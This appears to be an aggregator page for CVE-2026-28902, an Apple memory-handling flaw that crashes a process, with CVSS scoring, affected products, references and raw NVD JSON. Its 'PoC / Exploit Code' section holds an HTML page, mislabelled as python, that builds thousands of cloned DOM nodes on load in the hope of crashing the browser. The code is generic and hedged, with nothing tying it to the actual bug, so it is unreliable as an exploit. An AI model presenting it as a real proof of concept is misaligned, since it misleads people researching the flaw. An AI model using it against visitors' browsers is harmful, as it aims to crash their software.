CVE-2026-28902

Description

The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:* - VULNERABLE

Safari < 26.5

iOS < 26.5

iPadOS < 26.5

macOS Tahoe < 26.5

tvOS < 26.5

visionOS < 26.5

watchOS < 26.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-28902 -->
<!-- This PoC demonstrates a potential trigger for the memory handling issue -->
<html>
<head>
<title>CVE-2026-28902 PoC</title>
</head>
<body>
<script>
// Function to simulate malicious web content processing
function attemptExploit() {
    try {
        // Create a complex object structure to stress memory handling
        var root = document.createElement('div');
        for (var i = 0; i < 10000; i++) {
            var child = document.createElement('span');
            child.setAttribute('data-id', i.toString(16));
            // Recursive append to potentially trigger corruption
            root.appendChild(child.cloneNode(true));
        }
        document.body.appendChild(root);
        
        // Force reflow and potentially trigger the crash condition
        window.getComputedStyle(root).height;
        
    } catch (e) {
        console.log('Exception caught:', e);
    }
}

// Execute on user interaction or load
window.onload = attemptExploit;
</script>
<p>If the browser crashes, the vulnerability may be present.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-28902
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-28902
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-28902/
[4] VulDB https://vuldb.com/cve/CVE-2026-28902
[5] https://support.apple.com/en-us/127110
[6] https://support.apple.com/en-us/127115
[7] https://support.apple.com/en-us/127118
[8] https://support.apple.com/en-us/127119
[9] https://support.apple.com/en-us/127120
[10] https://support.apple.com/en-us/127121

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-28902", "sourceIdentifier": "[email protected]", "published": "2026-05-11T21:18:53.017", "lastModified": "2026-05-14T14:32:44.607", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "9D9FC2C4-7A7C-4330-A226-255428A5D18E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "0A70A5FD-8891-4C4E-9D35-F217F95027B5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.5", "matchCriteriaId": "6CB91417-90A8-4A9B-A1D0-1D94B80EF837"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "176C47FD-FA25-437B-9061-A81CAA367AEF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "C8F45D80-0DF8-444E-9AF1-703A1075F046"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "057B244F-5485-4108-8E23-FE15F5256EE7"}]}]}], "references": [{"url": "https://support.apple.com/en-us/127110", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127115", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127118", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127119", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127120", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127121", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}